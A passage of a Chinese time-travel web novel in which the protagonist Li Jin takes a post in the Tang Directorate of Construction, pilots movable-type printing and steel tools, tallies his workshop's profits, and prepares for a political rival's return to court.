将作监,掌土木工匠之政令,总四署(左校、右校、中校、甄官)及诸治、铸钱、互市等监,乃是大唐帝国庞大工程与手工业体系的中枢。少监丞虽为佐官,但地位关键,尤其在涉及具体匠作改良、新器试用之时,往往拥有相当大的话语权。这个任命,无疑是将李瑾和他背后所代表的“城南工坊”新技术力量,正式嵌入了国家机器之中。既是酬功,是信赖,更是一种高明的“招安”与“收编”——将可能挑战旧秩序的力量,纳入可控的轨道,并期望其能为朝廷所用。
消息传出,朝野反应各异。东宫一派自然是与有荣焉,于志宁特意召见李瑾,勉励他“恪尽职守,善用其术,莫负圣恩”。与工坊有利益关联或看好其前景的朝臣、商贾,纷纷遣人祝贺,打探未来合作可能。而以萧瑀一系为代表的反对势力,则在短暂的错愕与愤懑后,迅速调整了策略。公开攻讦“奇技淫巧”已不合时宜,皇帝的态度和工坊展现的“实利”摆在那里。但他们转而开始在“规矩”、“礼法”、“祖制”上做文章,质疑李瑾以宗室子弟、东宫属官身份兼任将作监实务官职是否“合规”,担忧“商贾之术”引入官府会“败坏风气”、“扰乱常法”,并暗中串联将作监内可能对李瑾这个“空降”少监丞不满的势力,准备在具体事务上进行掣肘。
对此,李瑾心知肚明。他深知,这个“将作监少监丞”的官帽,既是护身符,也是紧箍咒。戴上它,意味着更多的资源、更大的平台、更正式的权力,但也意味着要直面更复杂的官场生态、更微妙的利益平衡,以及必须遵循的官僚程序与规则。他不能再像之前经营工坊那样,躲在幕后,相对自由地运用超越时代的知识和商业手段。他必须学会在官场的棋盘上,以符合这个时代规则的方式落子,同时小心翼翼地推动那些“超前”的技术理念。
任命下达后的第三日,李瑾首次以将作监少监丞的身份,前往位于皇城东南隅的将作监衙门“点卯”履职。他换上了符合从六品上阶的深绿色官袍,腰束银带,佩水苍玉,头戴黑色介帻,虽年轻,但气度沉静,顾盼之间已隐隐有官威。李福作为长随,捧着官诰文书紧随其后。
将作监衙门占地广阔,屋宇连绵,各署、监的吏员、匠人头目穿梭往来,气氛忙碌而有序。监正(从三品)不常坐衙,日常事务多由两位少监(从四品下)主持。李瑾首先拜会了两位顶头上司——少监阎立本(其兄阎立德为将作大匠,外任)和少监张文琮。阎立本因日前随驾巡视工坊,对李瑾印象颇佳,加之其本身便是营造、绘画大家,对“奇技”抱有开放态度,态度颇为和煦,勉励他“既有圣眷,当用心任事,将那些有用之技,善加整理,推广于有司”。张少监则较为严肃,公事公办地交代了少监丞的职责范围:协助两位少监处理日常文移,稽核各署监物料支用、工役考成,并特别点明,皇帝交代的“与周氏工坊技物沟通、试验推广”一事,由李瑾专责,需定期向两位少监及监正禀报进展。
拜会上司后,李瑾又逐一拜会了左校、右校、中校、甄官四署的署令,以及百工、就谷等库的监官。这些中下级官员,大多在四五十岁,久历官场,对李瑾这个骤然得宠、年轻得过分、且带着“奇技”和“商贾”背景的同僚,态度复杂。表面客气,甚至带些奉承,但眼神深处,多是审视、疑虑,乃至一丝不易察觉的轻蔑或不屑。他们遵循的是经年累月形成的“则例”、“旧制”,李瑾带来的,却是可能打破惯例、触动其既有权力和利益格局的“新东西”。
李瑾不卑不亢,态度恭谨,对各位“前辈”执礼甚恭,只言“瑾年少学浅,初入将作,诸多规矩不通,日后还需诸位前辈多多提点指教”,绝口不提工坊与新技术,将姿态放得极低。他知道,初来乍到,根基未稳,首要任务是融入,而非挑战。
然而,皇帝交代的差事必须立刻着手。回到专属自己的那间狭小但独立的廨署,李瑾铺开纸笔,开始拟定第一份工作计划。核心目标清晰:将工坊已有的、经过验证且相对成熟的几项技术——新纸与活字印刷、改良农具、牛痘相关器皿,在将作监的体系内,进行初步的、可控的“官方化”试验与推广。这既是履行皇命,也是为工坊技术争取“国标”认证、打开更广阔市场的关键一步。
他决定分三步走:
第一步,建立正式的沟通与协作机制。 他以将作监少监丞的名义,行文“周氏工坊”,正式确立双方的“官民合作”关系。指定王掌柜为工坊对接人,并请工坊选派精干匠师(如郑师傅、赵匠师、滕贵等),组成“技工咨议组”,随时听候将作监咨询、派遣。同时,他请求将作监方面,也指派相关署、监的资深匠官或技术吏员,组成对应的“接洽考功组”,负责与工坊对接、记录试验过程、评估技术成效。他要将这种合作,从一开始就纳入规范的公文往来与记录体系,避免私相授受之嫌。
第二步,启动具体试验项目。 他拟定了三个优先项目:
1. “新纸与活字印书”项目:由将作监右校署(掌营造杂作,包括部分宫廷用物制作)与工坊合作,在崇文馆设立临时“试点印书坊”。工坊提供一套木活字字模、排版工具、特制油墨及首批“新纸”,右校署选派刻字、印刷匠人学习操作,尝试合作印制一批《孝经》或《论语》选段,检验印刷质量、效率及成本,成果呈送秘书省、国子监评议。
2. “新式钢制农具试用”项目:由将作监甄官署(掌石工、陶工、铁矿等)与工坊合作,将工坊已试制成功的改良钢犁、镰刀等,各取五十件,交付司农寺,在其辖下京畿官田进行一季(秋播或明春)试用,由司农寺记录其耕作效率、耐用程度、与传统农具对比优劣,出具试用报告。
3. “医药特制琉璃器”项目:由将作监百工署(掌玉工、金银铜铁、琉璃等匠作)与工坊合作,工坊按太医署要求,制作一批用于盛放牛痘浆液、珍贵药液的特制密封玻璃瓶,由百工署验收,交付太医署使用,并跟踪记录其密封性、透光性、耐用性。
第三步,筹备“将作新技考成簿”。 李瑾计划创建一个专门的档案,记录所有与工坊新技术相关的试验过程、数据、成效、问题及改进建议。这既是为了向皇帝和上司汇报,也是为了积累技术资料,为未来的标准化和推广打下基础,更是一种自我保护——所有决策、试验皆有据可查,程序合规。
计划草案拟定,李瑾先呈送给较为支持的阎立本少监过目。阎立本仔细看罢,捋须道:“李丞思虑周详,条目清晰。然其中涉及署、监协同,乃至与外朝司农寺、太医署交道,程序繁琐,非一蹴而就。你初来,人事未熟,恐有滞碍。不若先从一项目着手,做出成效,再及其他。”
李瑾深以为然:“阎公教诲的是。下官亦觉,当以‘印书’一事为先。此乃陛下亲口关切,又涉文教,阻力或相对较小。且崇文馆乃下官本职所在,便于协调。”
“嗯,如此甚妥。” 阎立本点头,“你可先与右校署杨署令细商。所需物料、匠人调配,按例申领,老夫自会与张少监沟通。记住,凡事依章程,多请教,勿急勿躁。”
有了阎立本的首肯,李瑾便带着修改后的计划,去拜会右校署署令杨骏。杨骏年约五旬,是个面色黧黑、手指粗壮、一看便是常年与工匠物料打交道的技术官员。他对李瑾还算客气,但听明来意,特别是涉及与宫外商户合作、使用“活字”这种前所未闻的技术印书,眉头立刻皱了起来。
“李丞,非是杨某推诿。印书之事,向来由秘书省、国子监下属书局或民间书坊操持。我将作监右校署,虽有刻字匠人,然多用于碑铭、官印、建筑纹饰。以‘活字’印书……闻所未闻。且与那‘周氏工坊’合作,匠人如何管理?物料如何交割?成书品质如何保证?若印坏了,或进度迟缓,误了崇文馆用度,谁人担责?” 杨骏连珠炮似地提出一串实际问题。
李瑾早有准备,不慌不忙道:“杨署令所虑极是。此事乃奉陛下特旨,阎少监亦已首肯。下官之意,并非要右校署大动干戈,只需拨出一间僻静工房,选派三两名细心稳重的刻字、印刷匠人,由下官协调工坊匠师前来,共同研习试验。所有物料,由工坊先行提供,计入合作成本,无需署内支用。试验期间,匠人仍归署内管辖,工坊匠师只做技术指导。所印之书,先以小规模试印,成果由下官与杨署令共同验看,再呈上官评议。若有差池,责任自然由下官一力承担。如此,可好?”
他态度诚恳,主动担责,且承诺不动用署内经费,只是借调人手和场地,进行一场“奉旨试验”,杨骏的脸色稍霁。他沉吟片刻:“既如此……也罢。署后库院旁倒有一间闲置的裱褙房,可暂用。匠人嘛……就让老吴头带着他徒弟去吧。老吴头刻了三十年字,手稳,就是性子闷些。至于物料交割、匠人考勤,需有详细文书备案。”
“一切依杨署令规矩办理。” 李瑾微笑应下。他知道,这第一道关卡,算是初步通过了。
接下来数日,李瑾便如工蜂般忙碌起来。他往来于将作监、崇文馆、工坊之间,协调场地、人员、物料。他亲自与那位“老吴头”匠师交谈,发现这位寡言的老匠人虽然对“活字”将信将疑,但听说能见识新技法,眼中也藏着一丝好奇。李瑾让郑师傅带着两名学徒,将一套基础木活字、排版盘、特制墨辊和一批“新纸”运入右校署的临时工房,开始对老吴头师徒进行“培训”。
培训之初,老吴头对活字的“小”和“散”很不适应,习惯了雕刻整版的他,觉得排版麻烦,且容易错乱。但在郑师傅演示了检字、排版、印刷的全过程,并印出清晰整齐的《千字文》首页后,老吴头盯着那字迹,沉默了许久,最终只说了一句:“这字……真齐整。” 态度开始转变。
与此同时,李瑾也并未放松其他两条线的推进。他通过于志宁,与司农寺的官员搭上了线,呈交了关于试用新式农具的初步方案。司农寺的官员对能提高效率的新农具自然感兴趣,但同样对“周氏工坊”的资质和钢制农具的耐久性存疑,最终同意在长安、万年两县各选一处皇庄,进行小范围对比试用,但要求工坊提供详细的养护说明和“保修”承诺。李瑾一口答应。
与百工署关于特制玻璃瓶的合作相对顺利,因为琉璃本就属百工署管辖范畴,且牛痘是皇帝重视的“德政”,太医署也催得急。百工署很快派人与工坊接洽,确定了器型、容量、密封标准,工坊开始小批量试制。
就在李瑾忙于在将作监内铺开摊子、推动合作时,朝中关于他“兼职”合规性的非议,也在某些人的推动下,渐渐浮出水面。几位御史和礼部官员,以“朝廷设官分职,各有攸司”、“宗室子弟宜敦品励学,不宜亲涉匠作末务”为由,上疏委婉地表示异议。虽然未直接要求撤销任命,但希望皇帝“慎重**”、“明晰职守”。
这些奏疏,自然被送到了李治的案头。李治将其中几份言辞较为激烈的,转给了长孙无忌和于志宁,让他们“议处”。
长孙无忌的态度,将决定此事的风向。这位老成谋国的顾命大臣,在仔细了解了李瑾上任后的作为(特别是那份条理清晰的工作计划和正在推进的、规矩谨严的试验项目)后,在一次小范围的御前议政时,缓缓开口:
“陛下,李瑾以宗室子、东宫属官兼将作监少监丞,确与常例稍有未合。然,陛下当日擢拔,乃因‘周氏工坊’之技或有可取,特命其沟通协理,此乃因事设职,权宜之便。观其到任以来,所行之事,皆依章程,所推之技,如印书、农具、医器,皆着眼于国计民生,非为私利。且其能谦抑自守,遇事皆禀上官,协同有司,未见专擅。老臣以为,非常之时,当有非常之措。若其果能将奇技化为实用,利国利民,则此‘兼职’,非但无过,反而有功。至于朝臣疑虑,可令其定期详陈所务,由将作监、东宫共同考成,以杜流言,亦示朝廷公正。”
这番话,既承认了“不合常例”,又强调了“事急从权”和“注重实效”,最后还提出了监督考成的具体办法,可谓面面俱到,既维护了皇帝权威和李瑾,也照顾了朝臣体面,更将焦点引向了“实效”。李治闻言,深以为然,当即准奏,并下旨申饬了那几位言辞激烈的御史“不察实情,空言扰政”,命李瑾“今后一应事务,需详载于籍,每旬呈将作监、东宫备案,朕亦将随时垂询”。
这道旨意,等于是为李瑾的“兼职”提供了法理依据和操作规范,也警告了那些还想在此事上做文章的人。风波暂息。
李瑾得知后,对长孙无忌的老辣与平衡手腕深感佩服,也更加惕励自省。他让李福和王掌柜,将工坊与将作监的所有往来文书、物料清单、匠人调度记录,都整理得清清楚楚,并开始撰写第一份“旬报”,详细记录“印书”、“农具”、“医器”三个项目的进展、遇到的问题、下一步计划。他要将“透明”、“规矩”做到极致,不给任何人留下攻击的口实。
时间在忙碌中滑入九月下旬。右校署的临时印书坊内,在老吴头和郑师傅的共同努力下,第一套用官方“新纸”和木活字合作印制的《孝经》(选章)五十本,终于装订完成。纸张洁白柔韧,字迹清晰整齐,墨色均匀,虽然速度还远未达到理想状态,但品质已远超寻常雕版印刷的普通读本。李瑾与杨骏一同验看,杨骏抚摸着光滑的纸面,看着整齐划一的字行,终于露出了难得的笑容:“此物……确可一观。若速度能再提,成本能再降,或真可为朝廷省却不少刻工之费。”
李瑾将其中十本,分别呈送给皇帝、长孙无忌、于志宁、阎立本、张少监、以及秘书省、国子监的负责人,并附上详细的成本、工时分析(当然是经过“处理”,突出其未来规模化后的成本优势)。他要用实打实的成果,来证明“活字印刷”的价值。
几乎与此同时,司农寺也传来了初步反馈。试用新式钢犁镰刀的皇庄管事报告,新犁入土确实轻省,翻土更深;新镰刀锋利耐用,收割效率约提高一成半,且不易崩缺。虽然只是初步印象,但已是积极信号。李瑾立刻让工坊准备第二批农具,并开始起草更详细的《新式钢制农具使用养护要则》,准备广泛发放。
特制玻璃瓶也顺利通过了百工署和太医署的验收,开始小批量用于牛痘浆液的分类保存,其透明、密封的特性得到了太医的称赞。
一切,似乎都在向着好的方向发展。李瑾站在将作监廨署的窗前,望着庭院中开始泛黄的树叶,心中并无多少轻松。他知道,这只是开始。将新技术引入庞大的官僚体系,如同推动一架沉重的古老磨盘,初始的寸进已然艰难,未来要让它持续转动,产出预期的“面粉”,还需要克服更多的阻力,付出更多的心血。
“敕封将作丞”,不仅仅是一个官职,更是一份沉甸甸的责任,一个充满机遇与风险的崭新战场。他在这里播下的种子,能否在官方的土壤中生根发芽,开花结果,将直接关系到他能否真正在这个时代,留下不可磨灭的印记。
秋意渐深,李瑾的官袍袖中,仿佛已能感受到那来自技术变革与时代洪流相互激荡所产生的、微弱而清晰的震颤。
第50章 瑾郎富可敌国
九月的最后一场秋雨,洗去了长安城的最后一丝燥热,也仿佛暂时涤清了围绕“周氏工坊”与李瑾的纷扰尘埃。随着皇帝对“兼职”风波的明确表态,以及李瑾在将作监内稳妥推进的几项“官民合作”试验初显成效,朝堂上那些或明或暗的攻讦之声,如同被秋雨打湿的蝉鸣,渐渐低落下去,至少暂时转入了地下的窸窣。城南工坊的烟囱,在雨后的晴空下,吐纳得更加从容;将作监衙门的廨署内,李瑾案头关于“新纸印书”、“新式农具”、“特制医器”的文书与报告,也日渐增厚,记录着一个新兴技术力量与古老官僚体系缓慢而坚定的磨合进程。
然而,表面的平静之下,财富的洪流正以前所未有的速度与规模,在“周氏工坊”及相关产业的脉络中汹涌汇集,悄然改变着长安,乃至更大范围内的经济版图。当李瑾在九月底,于崇仁坊宅邸深处的密室中,审阅王掌柜呈上的、汇总了工坊第三季度(七、八、九月)及“赏珍雅集”专项收支的绝密总账时,饶是他早有心理准备,也被那最终核算出的、滚烫惊人的数字,微微撼动了心神。
“赏珍雅集”专项,总收入六千三百五十贯。支出包括:雅集场地布置、招待、人工、护卫等费用约二百贯;上缴“内廷供奉”常例及打点各关节“辛苦费”约八百贯;工坊内部对参与匠人、管事的“特别嘉奖”约三百贯;物料(玻璃、燃料、装饰等)直接成本约一千二百贯。净利:三千八百五十贯。
工坊常规运营(七至九月),主要收入来源于玻璃器皿的持续销售(包括宫中和权贵的订单、以及通过隐秘渠道流向洛阳、扬州等地的少量高端货)、平板玻璃的限量供应、以及牛痘相关器皿的特供。总收入达四千七百贯。支出则包括:所有匠人、杂役、护卫薪俸(大幅提高后的标准);持续扩张的原料采购(石炭、石英砂、纯碱、木材、钢铁、纸张原料等);新项目研发投入(活字、新纸、农具改良、燃料改进等);工坊日常维护、扩建及“内廷供奉”相关固定支出。扣除所有成本后,净利:一千九百贯。
两项合计,第三季度工坊总净利达五千七百五十贯!这还不包括那些难以准确估价的“无形资产”——如“周氏明玻”品牌的无形溢价、与宫廷及顶级权贵建立的关系网络、以及正在将作监体系内缓慢增值的“技术认证”与“合作项目”潜在收益。
五千七百五十贯!这是一个足以让任何豪门侧目、让国库主官心动的数字。须知,此时大唐一斗米(约合后世12.5斤)价格不过三五文钱,一匹绢不过三四百文。五千余贯,意味着可以购买超过百万斗米,或十余万匹绢!若以长安中等宅院价值百贯计,这笔钱可置办豪宅数十处!这还仅仅是一个季度的、主要来自“明玻”的利润!
“公子,此乃账实。” 王掌柜的声音带着压抑的激动,也有些许不安,“钱帛、金银、以及东市大柜坊的飞钱票据,均已妥善分藏于三处密库。然……然钱财如水,聚之愈多,则堤防之压力愈大。近日坊间已有‘周氏富可敌国’之隐语流传,虽多是市井妒羡之谈,然空穴来风,恐非吉兆。且工坊规模日扩,所耗石炭、白碱、铁料、乃至粮食菜蔬,数量惊人,采购渠道虽尽力分散,然有心人不难推算其概。更兼工坊匠人如今待遇优厚,惹得左近其他作坊匠户心思浮动,已有数起别家匠人欲投我坊而被其主家强留、乃至发生殴斗之事……”
李瑾合上账册,指节轻轻敲击着紫檀木的桌面,发出沉稳的笃笃声。王掌柜的忧虑,正是他心中所思。财富的积累速度超出了他最初的预期,带来的不仅是实力,更是十倍的风险。木秀于林,风必摧之;堆出于岸,流必湍之。如今的“周氏工坊”,已不再是一棵默默生长的小苗,而是一株开始招风惹雨、根系也悄然触及各方利益的大树。
“王叔所虑极是。” 李瑾缓缓开口,目光沉静,“然,惧富藏富,非是上策。当务之急,是将这‘浮财’化为‘实基’,将‘聚敛’转为‘散利’,将‘独富’变为‘共利’。”
“公子之意是……?”
“其一,继续加大工坊本身的投入,但不是简单的扩张,而是升级与布局。” 李瑾条分缕析,“玻璃量产,已证明可行。接下来,要攻克‘无色平板玻璃’的大规模、高良品率生产,这是未来建筑、车船乃至更多领域应用的基石。钢铁方面,高炉工艺需继续优化,焦炭生产要扩大规模、提高质量,并着手探索‘灌钢法’与高炉铁水的结合,尝试生产性能更优异的特种钢材。新纸的产量和质量还需提升,活字印刷要朝着金属活字(更耐用)和快速排版工具改进。所有这些研发,都需要持续、大量的资金投入。我们要将利润,尽可能多地转化为更强的技术壁垒和生产能力。”
“其二,拓宽产业,分散风险,建立‘生态’。” 李瑾继续道,“我们的根基是‘技’与‘物’。不能只盯着玻璃。石炭(煤)是我们当前和未来最大的能源依赖,其供应不稳、质量参差已成瓶颈。我意,由工坊出资,或联合可靠商人,在河东、陇右优质煤区,购置或长期租赁几处易于开采的煤窑,建立我们自己的燃料基地,并尝试应用初步的洗选、破碎技术,稳定供应工坊,未来或可向外销售‘精煤’、‘焦炭’。此乃掌控上游命脉之举。”
王掌柜眼睛一亮:“妙!若能自控石炭来源,则工坊命脉稳固大半!只是开矿置窑,涉及地方官府、民田、乃至可能的矿产纠纷,手续繁杂,需得力之人且背景深厚者操办。”
“此事可由杜铭之父杜楚客侍郎暗中牵线,他执掌户部,对天下物产、赋税、田矿了如指掌,且杜家与东宫亲近。我们可让出部分干股,请其家族或可信之人出面办理,工坊提供资金和技术支持。” 李瑾早有考量,“此外,新纸的原料——竹、楮、麻,亦需建立稳定的供应渠道。可在巴蜀、江南等地,以‘预定种植’、‘保价收购’的方式,与当地农户或中小庄园合作,引导他们为我们提供合格原料。此举既能保证原料,又能惠及地方,博得好名声,减缓‘与民争利’的指责。”
“其三,散财于外,巩固同盟,惠及底层。” 李瑾的语气变得郑重,“工坊获利巨万,不能独享。除已承诺并上缴的‘捐献’外,需有更多‘善举’。可设立‘匠助学基金’,资助工坊内匠人聪颖好学的子弟进入官学或聘请西席;设立‘匠疾抚恤金’,对因工受伤、亡故的匠人及其家眷予以厚恤。此事要做得公开、规范,形成定例。对外,可捐资修缮长安、万年两县的官立义学、慈幼局;每年冬季,以工坊名义,在城南贫民坊施粥赠药。钱不必一次投入过多,贵在持久,形成口碑。”
他顿了顿,眼中闪过一丝锐光:“最重要的,是对东宫,对几位关键人物。于公那里,除之前的‘孝敬’,可将工坊未来在将作监合作项目中所得‘官利’(如果有的话)的一部分,定期划入东宫用度。阎立本少监、乃至长孙司徒府上,亦可择机,以‘谢其提携关照’、‘资助其雅好(如阎公好画、司徒好古籍)’为名,送上厚礼,但需极其隐秘自然。记住,我们送的不仅是钱,是‘心意’,是‘尊重’,是‘共享其成’的姿态。至于陛下那里……‘朗鉴’与捐献已表忠心,日后宫中但有新奇合用之物,优先、优惠供应即可,不必直接送钱。”
王掌柜听得心潮起伏,又觉压力如山。李瑾这番谋划,眼界之广、思虑之深,再次超越了他的想象。这已不仅是在经营一个工坊,而是在构建一个以技术为核心、横跨能源、原料、制造、并有意识地进行政治投资与社会经营的、初具雏形的“经济-政治复合体”!
“公子深谋远虑,老朽拜服!” 王掌柜由衷道,“只是……如此多方铺开,所需资金更是海量。眼下盈余虽丰,恐亦难支撑太久。且各项事务,需大量可靠人手操持,老朽……恐力有未逮。”
“资金如水,流动起来,方能滋养万物,不至成为一潭招惹蚊蝇的死水。” 李瑾道,“我们的玻璃、未来的精煤、优质纸张,都是能生钱的活水。只要核心工艺领先,利润便会持续产生。至于人手……” 他沉吟片刻,“王叔,你需逐渐从具体事务中超脱出来,担任总掌全局的‘大掌柜’。提拔几位你绝对信任、且能力出色的副手,分管玻璃、钢铁、燃料、原料采购、销售、账房、人事、护卫等各摊事务。给予他们充分的权责和相应的分红激励,你只做最后决策和监督。同时,我们要开始有意识地培养和储备‘自己人’。从工坊子弟、流民中聪慧忠厚者、乃至退役的可靠老兵中,挑选可造之材,进行识字、算学、管理基础培训,作为未来的管事、账房乃至护卫头目储备。此事可交由李福协助你办理。”
“至于我,” 李瑾望向窗外渐暗的天色,“在将作监的职责,便是为工坊的这些‘术’与‘物’,披上最光鲜、最稳固的‘官衣’。同时,也要借助这个位置,了解更多朝廷的需求、天下的物产、乃至……潜在的危机与盟友。”
主仆二人又商议了诸多细节,直到夜色深沉。王掌柜带着一叠新的指令和更重的担子,悄然离去。
秋去冬来,时光不居。在接下来的十月、十一月里,李瑾的谋划开始一步步变为现实。
巨额的利润,如同血液被泵入工坊的肌体。玻璃坊开始建造第二座、更大、更先进的池炉,专门用于攻关“大尺寸无色平板玻璃”。冶铁区的高炉完成了第三次结构改良,焦炭产量在孙匠师的努力下提升了三成,品质也更加稳定。钱匠师带领的“金属活字”铸造组,终于取得了突破,能够小批量铸造出笔画清晰、尺寸精准的铅锡合金活字,虽然成本高昂,但耐用性远超木活字,为未来大规模印刷奠定了基础。滕贵和方竹的“新纸”生产线,在增加了两台改良水力打浆机后,日产“印书纸”已可达三千张,且白度、匀度、韧性又有提升。
王掌柜坐镇中枢,提拔了三位副手,分别掌管生产、供销、内务,自己则专注于战略、财务与对外关系。在杜楚客的暗中斡旋下,工坊成功在河东道汾州购得两处储量丰富、易于露天开采的小型煤窑,并开始派驻管事、招募当地矿工,建立初步的洗选场地。在巴蜀和宣州,也通过代理人与当地种植楮皮、毛竹的庄户签订了长期的保价收购契约。
“匠助学基金”和“匠疾抚恤金”的章程正式公布,在工坊内引起了巨大的震动和感激,匠人们的归属感和忠诚度达到了新的高度。对长安两县义学、慈幼局的捐赠,以及冬季施粥的善举,也开始悄然进行,虽然规模不大,但持续而规范,渐渐在城南平民中赢得了“周善人”的口碑。
将作监内,李瑾负责的几个合作项目稳步推进。活字印刷的《孝经》选章获得了秘书省和国子监官员的初步好评,虽然对“活字”是否适合印制“正经”仍有争议,但其“整齐”、“快捷”、“可更易内容”的优点已被看到。司农寺对新式农具的试用报告更加积极,确认了其在提高效率和耐用性方面的优势,已开始考虑在更大范围的官田推广。特制玻璃瓶在牛痘保存中的良好表现,也得到了太医署的正式认可。
李瑾本人,则凭借着踏实勤勉的作风、清晰高效的执行能力、以及从不居功自傲的态度,渐渐在将作监内站稳了脚跟。阎立本对他愈发赏识,张少监也挑不出太多错处。那些最初心存芥蒂的同僚,见其确实“依规矩办事”,且所推之事渐有成效,敌意也稍减,至少表面客气了许多。当然,暗中的较劲和等待他出错的眼睛,从未减少。
腊月将至,年关气息渐浓。这一日,李瑾从将作监下值回府,李福迎上来,低声道:“公子,杜铭公子和许元瑜公子来了,已在花厅等候多时,看神色,似有要事。”
李瑾心念微动,来到花厅。只见杜铭和许元瑜皆面色凝重,全无平日说笑模样。
“瑾兄,” 杜铭见李瑾进来,起身急道,“你可知,萧瑀‘闭门思过’之期将满,不日即将重返朝堂?”
李瑾心中一动,面色不变:“此事我略有耳闻。陛下罚其三月,至今已两月有余,算来腊月中便可期满。杜兄如此急切,可是听到了什么风声?”
许元瑜接口,声音低沉:“家父今日下朝回府,言道今日朝会上,已有官员为萧瑀说话,称其‘闭门日久,已知悔改’,‘元老重臣,不宜久弃’,提请陛下念其旧功,准其复出。陛下未置可否,但观其意,似有松动。更关键的是……” 他顿了顿,“萧瑀虽未上朝,但其门下近日活动频繁,尤其与江南顾家、以及将作监内几位素来对‘新技’不满的官员,往来密切。似乎在谋划什么,目标直指城南工坊,以及……瑾兄你。”
杜铭补充道:“姑母(周尚宫)也从宫中递出消息,萧淑妃近日在陛下面前,不再提‘奇技淫巧’,转而常赞陛下‘仁德恤老’,‘不忘勋旧’,又‘无意间’提及萧相年迈体衰,闭门日久,恐忧思成疾……其意不言自明。瑾兄,萧瑀若复出,以其性格地位,必不会善罢甘休。他闭门期间,工坊声势愈大,你亦得陛下擢升,此皆其眼中钉、肉中刺。恐其一旦复位,便会发动雷霆之击!”
萧瑀要回来了!而且显然在积蓄力量,准备反扑!李瑾目光微凝。这并不意外,萧瑀这等人物,岂会因一次挫折就彻底沉寂?他的复出,意味着朝中平衡将被再次打破,围绕工坊和技术的斗争,将进入一个新的、更危险的阶段。
“多谢二位兄长相告。” 李瑾拱手致谢,沉吟道,“萧相复出,势在必行。其若发难,必不会如之前般直指‘奇技’,恐会从‘礼法’、‘规制’、‘吏治’乃至‘账目’等更具体、更难以辩驳处着手。工坊树大招风,我如今身在将作监,目标亦大。需早作准备。”
“瑾兄可有对策?” 许元瑜问。
“水来土掩,兵来将挡。” 李瑾缓缓道,眼中闪过一丝冷冽的锐芒,“他要从规矩礼法入手,我们便要比他更守规矩。工坊所有账目、文书、交易,务必清晰合规,经得起最严苛的核查。将作监内一应事务,必循章法,不留任何可供指摘的私弊。此为其一。”
“其二,” 他继续道,“萧瑀能攻,我们亦需能守,还需有‘援’。东宫、于公,乃至阎少监,是我们天然的屏障。需将工坊对朝廷、对东宫的‘贡献’与‘价值’,以更巧妙的方式,让该知道的人知道。另外……长孙司徒的态度,至关重要。他之前为我说话,是基于大局。若萧瑀复出后攻势太猛,司徒是否会改变态度?需设法巩固。”
“其三,” 李瑾顿了顿,声音更低,“最坚固的堡垒,往往从内部攻破。萧瑀及其党羽也非铁板一块,利益纠葛,各有算计。或许……我们可以在他们之间,埋下一些小小的、不和谐的种子。此事需从长计议,万分谨慎。”
杜铭和许元瑜听罢,心中稍定,又觉前路依然艰险。“瑾兄思虑周全。我等家中,亦会尽力为兄周旋打听。万望兄小心!”
送走二人,李瑾独自立于庭中。寒风渐起,卷动枯叶。他抬头望向皇城方向,那里是权力与风暴的中心。
“瑾郎富可敌国……” 他低声重复着市井间那个半是艳羡半是危险的流言,嘴角泛起一丝复杂的弧度。是的,凭借超越时代的见识、大唐工匠的智慧、以及步步为营的算计,他确实在短短一年内,积累起了足以令世人咋舌的财富,建立了一个初具雏形、横跨多个领域的经济实体。这财富,是他安身立命、施展抱负的根基,却也成了招致最猛烈攻击的标靶。
萧瑀的复出,只是一个开始。未来,随着工坊技术的扩散、利益的扩大,还会有更多的“萧瑀”站出来,用更精巧或更蛮横的方式,试图分割、夺取、或摧毁他辛苦建立的一切。
但,那又如何?
他从一个一无所有的穿越者、破落宗室子,走到今天,拥有官职、财富、技术、人脉,乃至与未来女帝隐秘而坚实的同盟,靠的从来不是侥幸。财富,给了他底气;技术,给了他利器;对历史的先知,给了他方向;而冷静的头脑与坚定的意志,则是他驾驭这一切、在这大唐洪流中破浪前行的舵与帆。
“富可敌国……” 他再次咀嚼这四个字,眼中燃起的是冷静的野心与无畏的斗志。“国,太大。我只要足以自保,足以庇佑我想庇护的人,足以……让这时代,因我而来一丝不同的光亮。若有人想夺走这些,那便看看,是他们的权术锋利,还是我的‘奇技’与‘实利’,更得人心,更合天时!”
他转身,走向书房。那里,有未写完的将作监旬报,有工坊新的研发计划,也有给感业寺中那位未来女帝的、需要商议应对之策的密信草稿。
寒冬将至,但工坊的炉火不会熄灭,他心中的火焰,更将熊熊燃烧。瑾郎的“国”,已初具雏形。接下来的每一步,都将是为这个“国”筑起更高、更坚的城墙,磨砺更利、更韧的兵刃。
第51章 科举改制议
腊月的长安,朔风凛冽,滴水成冰。然而,比这冬日严寒更让朝堂百官心头发紧的,是弥漫在太极殿内外那股无形的、关于宋国公萧瑀即将“刑满”复出的躁动与揣测。腊月十五,大朝。当身着紫袍、面容清减但目光依旧锐利的萧瑀,手持玉笏,步履沉稳地重新站回文官班首之时,无数道目光瞬间聚焦,殿内的空气仿佛都凝滞了数息。皇帝李治端坐御座,神色平静地接受了萧瑀的“谢罪”与“叩谢天恩”,温言抚慰数句,便令其归班。一切合乎礼制,波澜不惊。然而,所有人都能感受到,一股曾被强行压抑的势力,正随着这位老臣的回归,重新开始盘踞、伸展,其阴影再次笼罩朝堂。
萧瑀复出后的首次奏对,并未直接指向任何具体人事,而是出人意料地以“岁末天寒,悯念黎庶”为由,奏请朝廷加拨钱粮,于长安、洛阳等大邑增设施粥棚、庇寒所,并请求皇帝下诏减免关中部分遭雪灾州县来年春税。言辞恳切,举措务实,俨然一副痛改前非、忧国忧民的老臣风范,赢得了不少中立官员的颔首。然而,熟悉萧瑀风格的人却嗅到了其中的机锋——这是在重新树立威望,收揽人心,并为后续动作铺垫。
果然,数日后的一次御前小议,议题涉及明年开春的官员铨选与科举诸事时,萧瑀再次出列,这次他的目标明确了许多。
“……陛下,今岁秋闱已毕,明春省试、殿试在即。为国家抡才大典,关乎国运,不可不慎重。老臣近日翻阅今岁诸州贡举名录,又闻市井有言,深感近年科场风气,似有偏颇之虞,长此以往,恐非社稷之福。” 萧瑀声音不大,却字字清晰,回荡在安静的偏殿内。
“哦?萧卿有何见教?” 李治目光微凝。科举取士,乃国朝根本,亦是皇权抗衡门阀、选拔寒俊的重要工具,历来敏感。
“陛下明鉴。” 萧瑀拱手道,“其一,重辞章而轻经义。今之进士科,诗赋为要,乃至有‘三十老明经,五十少进士’之说。士子竞相钻研雕虫之技,堆砌辞藻,于圣贤微言大义、经世治国之实学,反不甚究心。长此以往,所选之士,或有文采风流,然临民决事,恐乏干才。此一偏也。”
